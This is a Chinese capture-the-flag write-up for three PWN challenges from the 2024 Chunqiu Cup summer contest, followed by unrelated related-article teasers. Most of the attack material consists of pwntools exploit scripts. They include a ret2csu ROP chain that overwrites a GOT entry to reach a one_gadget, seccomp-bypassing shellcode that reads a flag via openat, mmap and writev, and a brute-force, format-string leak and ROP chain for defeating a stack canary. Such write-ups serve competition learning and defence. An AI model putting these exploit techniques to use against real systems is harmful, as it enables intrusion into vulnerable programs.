2024春秋杯网络安全联赛夏季赛-PWN
文章目录
- stdout
- 测试
- setvbuf(stdout, 0LL, 2, 0LL)绕过
- 或者输出直到缓冲区满
- 使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
- 参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4)
- 思路
- exp
- shuffle
- exp
- savetheprincess
- pread
- 参数说明
- 返回值
- 示例代码
- exp
stdout


溢出返回到vuln

然后rop

测试
#include <stdio.h>
#include <stdlib.h>int main() {//setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);printf("ouput2.\n");return 0;
}

取消掉注释后

setvbuf(stdout, 0LL, 2, 0LL)绕过
#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);setvbuf(stdout, 0LL, 2, 0LL);printf("ouput2.\n");gets(a);return 0;
}
执行 setvbuf(stdout, 0LL, 2, 0LL);可以看到之前的在缓冲区的上的已经输出

或者输出直到缓冲区满
使用system(“/bin/sh”)或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
#include <stdio.h>
#include <stdlib.h>int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");gets(a);//setvbuf(stdout, 0LL, 2, 0LL);system("/bin/sh");gets(a);return 0;
}

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;int main() {setvbuf(stdout, 0LL, 0, 0LL);setvbuf(stdin, 0LL, 2, 0LL);char a[20];printf("ouput1.\n");char* put_addr=&puts;onegadget=put_addr-0x84420+0xe3afe;asm("mov r12,0");printf("%p",put_addr);//setvbuf(stdout, 0LL, 2, 0LL);onegadget();//system("/bin/sh");return 0;
}
发现可行

参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4
显式调用fflush函数
流被关闭(调用fclose)
程序正常结束(调用exit)
思路
gadget不够,用csu里的,通过rop的一个特殊gadget修改got表,然后利用gadget满足onegadget的条件,最后调用覆盖got表

exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()elf=ELF("./pwn")ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0 mov rdx, r14
# .text:00000000004013B3 mov rsi, r13
# .text:00000000004013B6 mov edi, r12d
# .text:00000000004013B9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD add rbx, 1
# .text:00000000004013C1 cmp rbp, rbx
# .text:00000000004013C4 jnz short loc_4013B0
# .text:00000000004013CA pop rbx
# .text:00000000004013CB pop rbp
# .text:00000000004013CC pop r12
# .text:00000000004013CE pop r13
# .text:00000000004013D0 pop r14
# .text:00000000004013D2 pop r15
# .text:00000000004013D4 retn# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+ p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0) +p64(0x00000000004011fc ) +p64(0x0000000000401287)
p.sendline(payload)p.interactive()

shuffle


使用openat,mmap,writev读Flag或者openat preadv2 writev等等


零字节绕过shuffle(零字节之前不为零的不能超过一个即可)
然后写入shellcode即可(没有栈,通过mmap分配的内容作为栈,进而存储字符串和iovec这个结构体)
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()shellcode = '''mov eax,0 ''' #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
# 0x1337000: mov rax,0x0
# => 0x1337007: push 0x67616c66
# 0x133700c: mov rsi,rsp
# 0x133700f: mov edi,0xffffff9c
# 0x1337014: xor edx,edx
# 0x1337016: xor eax,eax
# 0x1337018: mov ax,0x101
# 0x133701c: syscall
# 0x133701e: push 0x1
# 0x1337020: pop r10
# 0x1337022: push 0x3
# 0x1337024: pop r8
# 0x1337026: xor r9d,r9d
# 0x1337029: xor edi,edi
# 0x133702b: mov esi,0x1010201
# 0x1337030: xor esi,0x1010301
# 0x1337036: mov rdx,r10
# 0x1337039: push 0x9
# 0x133703b: pop rax
# 0x133703c: syscall
# 0x133703e: push 0x1
# 0x1337040: pop rdi
# 0x1337041: xor edx,edx
# 0x1337043: mov dh,0x1
# 0x1337045: mov rsi,rax
# 0x1337048: push 0x14
# 0x133704a: pop rax
# 0x133704b: syscall shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66mov edi, 0xffffff9c
mov rsi, rsp
xor edx,edx
xor eax,eax
mov ax,0x101
syscall
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscallpush 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()
测试的如下,对照着写shellcode就行了
#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{int fd = openat(AT_FDCWD,"flag",O_RDONLY);if(fd==-1){printf("openat error!");}char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);write(1,addr,0x100);struct iovec iov;char str[] = "Hello ";// 准备 iovec 结构体iov.iov_base = str;iov.iov_len = strlen(str);// 使用 writev() 写入数据ssize_t n = writev(1, &iov, 1);return 0;
}

savetheprincess


openat+pread+write绕过





没有时间限制,也没有次数限制,可以爆破,26*7次,然后触发格式化字符串泄露canary和libc地址,然后溢出rop绕过沙箱

填充满buf,当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确

找不到控制第六个参数的gadget,mmap改成pread或者mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag
pread不能从终端输入,只能在之前加个泄露栈地址,然后flag名放栈上了
pread
pread() 函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据,但与普通的 read() 函数不同,pread() 允许你指定从文件的哪个偏移量开始读取数据
pread() 的原型如下:
#include <unistd.h>ssize_t pread(int fd, void *buf, size_t count, off_t offset);
参数说明
fd: 文件描述符,指向要从中读取数据的文件。buf: 指向缓冲区的指针,读取的数据将被存放到这个缓冲区中。count: 要读取的字节数。offset: 读取操作的起点偏移量,相对于文件的开始位置,单位是字节。
返回值
pread() 返回实际读取的字节数。如果读取失败,函数将返回 -1 并设置 errno 变量来指示错误原因。
示例代码
下面是一个使用 pread() 的示例代码:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>int main(void) {int fd;char buffer[100];off_t offset = 100; // 从文件的第100字节开始读取ssize_t bytes_read;// 打开文件fd = open("testfile.txt", O_RDONLY);if (fd == -1) {perror("open");exit(EXIT_FAILURE);}// 使用 pread 从文件的特定位置读取数据bytes_read = pread(fd, buffer, sizeof(buffer), offset);if (bytes_read == -1) {perror("pread");close(fd);exit(EXIT_FAILURE);}// 输出读取的数据buffer[bytes_read] = '\0'; // 确保字符串以 null 字符终止printf("Read %ld bytes: %s\n", bytes_read, buffer);// 关闭文件描述符close(fd);return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()password=""
for i in range(8):for j in range(26):p.sendlineafter(b"> \n",str(1))pwd=passwordpwd+=chr(ord("a")+j )p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))result=p.recvuntil(b"!!!\n",drop=True)print(pwd," ",result)print(i+1," ",result)if b"successfully" in result:password=pwdprint("suceessful")payload=b"%9$p%11$p%10$p%15$p" # canary pie libcp.send(payload)breakif i+1 in result:password=pwdprint("right")breakprint("error")canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1eepayload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()

相关文章:
2024春秋杯网络安全联赛夏季赛-PWN
文章目录 stdout测试setvbuf(stdout, 0LL, 2, 0LL)绕过或者输出直到缓冲区满使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https…...
怎么提高音频声音大小?提高音频声音大小的四种方法
怎么提高音频声音大小?在音频处理和编辑中,增加声音的音量是一个常见的需求,尤其是在确保音频清晰度和听觉效果的同时。调整音频的音量不仅仅是简单地提高音频的响度,它也涉及到如何保持音质的高标准,确保没有失真或削…...
从数据仓库到数据湖(下):热门的数据湖开源框架
文章目录 一、前言二、Delta Lake三、Apache Hudi四、Apache Iceberg五、Apache Paimon六、对比七、笔者观点八、总结九、参考资料 一、前言 在上一篇从数据仓库到数据湖(上):数据湖导论文章中,我们简单讲述了数据湖的起源、使用原因及其本质。本篇文章…...
对话AI原生 | 千帆AppBuilder重构企业AI原生应用开发体验
人工智能和大模型正在引领当前最重要的科技创新趋势。在过去的一年中,行业关注点已从大模型研发转向实际应用,正成为推动创新和转型的关键力量。百度智能云千帆AppBuilder作为基于大模型的企业级AI原生应用开发工作台,支持应用的快速开发和发…...
CF253C Text Editor 题解
思路 既然要求最少步数,那我们可以用bfs 如果鼠标的位置比上一行的行末位置大,如果按上的话,移到上一行的行末。如果鼠标的位置比下一行的行末位置大,如果按下的话,移到下一行的行末。 注意当鼠标位置超过当前行最大…...
Spring Boot 创建定时任务
在现代应用程序开发中,定时任务是一个常见的需求。Spring Boot作为一个强大的框架,提供了简单易用的定时任务调度功能。本文将详细介绍如何在Spring Boot中创建和管理定时任务,并提供完整的代码示例。 1. 什么是定时任务 定时任务是指在预定…...
Vue使用Echarts(入门级)
最终效果: npm install echarts --save // 先安装echarts<template><!-- 创建一个dom区域用于挂载echarts图表 --><div id"chart" style"width: 600px;height:500px;"/> </template> <script> import * as ech…...
2025届秋招提前批信息汇总(计算机类)
私企篇 深信服 链接:https://app.mokahr.com/campus_apply/sangfor/27944#/home内推码:NTAHRFS截止时间:6月21日 TP-LINK 链接:https://hr.tp-link.com.cn/jobList?jobId107&jobDirection0&workPlace0¤tPa…...
Scala Collection(集合)
Scala Collection(集合) Scala集合库是Scala语言的核心特性之一,它提供了一套丰富的数据结构来存储、管理和操作数据。Scala集合分为可变(mutable)和不可变(immutable)两种类型,每种类型都有其特定的用途和优势。本文将详细介绍Scala集合库的基本概念、常用集合类型以及…...
Go 语言 UUID 库 google/uuid 源码解析:UUID version4 的实现
google/uuid 库地址 本文将解析 googl/uuid 库中 UUID 变体10版本4的实现。 版本 4 的 UUID 采取完全随机的方式实现,简单来说就是将 UUID 中的 122 位全部随机填充(剩余的 6 位作标记位)。版本 4 的 UUID 存在一定的重复风险,但…...
开发个人Go-ChatGPT--6 OpenUI
开发个人Go-ChatGPT–6 OpenUI Open-webui Open WebUI 是一种可扩展、功能丰富且用户友好的自托管 WebUI,旨在完全离线运行。它支持各种 LLM 运行器,包括 Ollama 和 OpenAI 兼容的 API。 功能 由于总所周知的原由,OpenAI 的接口需要密钥才…...
Spring中的工厂模式详解及应用示例
1. Spring中的BeanFactory BeanFactory是一个接口,表示它是一个工厂,负责生产和管理bean。在Spring中,BeanFactory是IOC容器的核心接口,定义了管理Bean的通用方法,如 getBean 和 containsBean。 BeanFactory与IOC容器…...
Electron 简单搭建项目
准备工作 全局安装 node npm创建文件夹,并执行 npm init安装 electron npm i electron --save-dev在 package.json 配置文件中的scripts字段下增加一条start命令: {"scripts": {"start": "electron ."} }由于配置中的入…...
旗晟智能巡检机器人:开启工业运维的智能化新篇章
在当今快速发展的工业领域,安全、效率和成本控制是企业运营的核心。旗晟科技以创新为驱动,推出了一站式的工业级智能巡检机器人数字化全景运维解决方案,为石油、天然气、化工、电力等高危行业提供了一个全新的运维模式。 一、面对挑战&#x…...
vue3的常用 Composition API有哪些?
Vue.js 3.0 引入了 Composition API,作为一种新的组织组件逻辑的方式,相比于传统的 Options API,Composition API 提供了更灵活、更可复用的代码组织方式。 以下是 Vue 3.0 中常用的 Composition API:setup() 函数: s…...
深度优先算法-DFS(算法篇)
算法之深度优先算法 深度优先算法(DFS) 概念: 深度优先算法(DFS)跟BFS算法一样是用于遍历图的算法,但是DFS并不像BFS算法一样,它搜索出来的路径不具有最短性,并且dfs算法类似于枚举,因此DFS算法一般用于求出问题的所…...
C++模块化之内部类
目录 1.引言 2.内部类的访问控制 3.优缺点分析 4.实际运用 4.1.实现复杂数据结构 4.2.封装细节实现 4.3.事件处理和回调 4.4.模板元编程辅助类 4.5. 访问控制和封装 4.6. 代码组织和模块化 5.总结 1.引言 在C中,内部类(Nested Classÿ…...
k8s-第九节-命名空间
命名空间 如果一个集群中部署了多个应用,所有应用都在一起,就不太好管理,也可以导致名字冲突等。 我们可以使用 namespace 把应用划分到不同的命名空间,跟代码里的 namespace 是一个概念,只是为了划分空间。 # 创建命…...
【AI大模型新型智算中心技术体系深度分析 2024】
文末有福利! ChatGPT 系 列 大 模 型 的 发 布, 不 仅 引 爆 全 球 科 技 圈, 更 加 夯 实 了 人 工 智 能(Artificial Intelligence, AI)在未来改变人类生产生活方式、引发社会文明和竞争力代际跃迁的战略性地位。当…...
王道计算机数据结构+插入排序、冒泡排序、希尔排序、快速排序、简单选择排序
本内容是基于王道计算机数据结构的插入排序、冒泡排序、希尔排序、快速排序、简单选择排序整理。 文章目录 插入排序算法性能代码 冒泡排序算法性能代码 希尔排序算法性能代码 快速排序算法性能代码 简单选择排序算法性能代码 插入排序 算法 算法思想:每次将一个…...
技术债务的职场政治:谁该为历史遗留问题买单
在软件测试从业者的日常工作中,技术债务是一个绕不开的话题。它像一颗隐藏在代码深处的定时炸弹,随时可能在项目推进的某个节点爆发,引发一系列连锁反应。而当技术债务问题浮出水面时,一场关于“谁该为历史遗留问题买单”的职场政…...
别再写循环了!ABAP SQL聚合函数COUNT/AVG/MAX实战指南,5分钟搞定数据统计
ABAP SQL聚合函数实战:告别低效循环,5分钟掌握高阶统计技巧 每次看到ABAP报表里那些嵌套三层的LOOP和SORT语句,我的血压就会悄悄升高。上周review同事代码时,发现一个统计物料库存的报表竟然用了三个嵌套循环——外层遍历工厂、中…...
DES算法C++实现踩坑实录:S盒置换与比特操作的那些坑
DES算法C实现中的五大典型陷阱与解决方案 在实现DES算法的过程中,许多开发者都会遇到一些看似简单却容易导致加密结果错误的细节问题。本文将聚焦于实际编码中最常见的五个"坑点",通过具体案例分析和解决方案,帮助开发者快速定位和…...
java+uniapp集成unipush2实现消息推送
一、开通uniPush2.0 1.实名认证 登录DCloud开发者中心,通过实名认证 2.进入UniPush控制台 HBuilderX中打开项目的manifest.json文件 导航在“App模块配置” → 项的“Push(消息推送)” → “UniPush”下点击配置 或者申请开通。 3.配置应用信息 在UniPush开通界面…...
重温DIRE:走向通用人工智能生成的图像检测
1.摘要生成模型的快速发展提高了图像质量,并使图像合成广泛可用,引起了对内容可信度的关注。为了解决这个问题,我们提出了一种称为通用重建残差分析(UR2EA)的方法来检测合成图像。我们的研究表明,当通过预训练的扩散模型重建GAN和…...
【Leona】BoxId 是什么-设备指纹参数
BoxId 是什么?从 Leona.sense() 到 /v1/verdict 的可落地闭环:签名、落库、错误处理与回归验证(基于公开示例) TL;DR BoxId 不是“风险结论”,而是一次“证据报告兑换券”:端上拿 BoxId,后端换证…...
太流批了,发票合并神器
今天给大家推荐两款软件,一款是图片转PDF,一款是发票合并工具。有需要的小伙伴可以下载收藏。 第一款:png2pdf png2pdf是一款png图片转PDF的小工具,这类的工具之前也有推荐过,但是今天这款比较特殊。 只要把图片拖入软…...
pcb设计-器件:二极管
一、二极管的介绍 伏安特性曲线 二、二极管的整流功能 由于二极管存在导通压降以及反向截止的特性,对于交流电压,反向电压全部被截止,正向电压的最大值会距离峰值会有0.7v的压降。 在交流电路中,二极管限制了电容不能放电…...
编译原理实战:手把手教你化简DFA
1. 从零开始理解DFA化简 第一次接触DFA化简这个概念时,我盯着课本上那些复杂的箭头和状态图发了好一会儿呆。作为一个编译原理的初学者,最让我困惑的是:为什么已经有了能工作的DFA,还要费劲去化简它?直到在实际项目中遇…...
5分钟打造专业音频可视化桌面:Lano Visualizer开源工具实战指南
5分钟打造专业音频可视化桌面:Lano Visualizer开源工具实战指南 【免费下载链接】Lano-Visualizer A simple but highly configurable visualizer with rounded bars. 项目地址: https://gitcode.com/gh_mirrors/la/Lano-Visualizer 你是否曾经想过ÿ…...
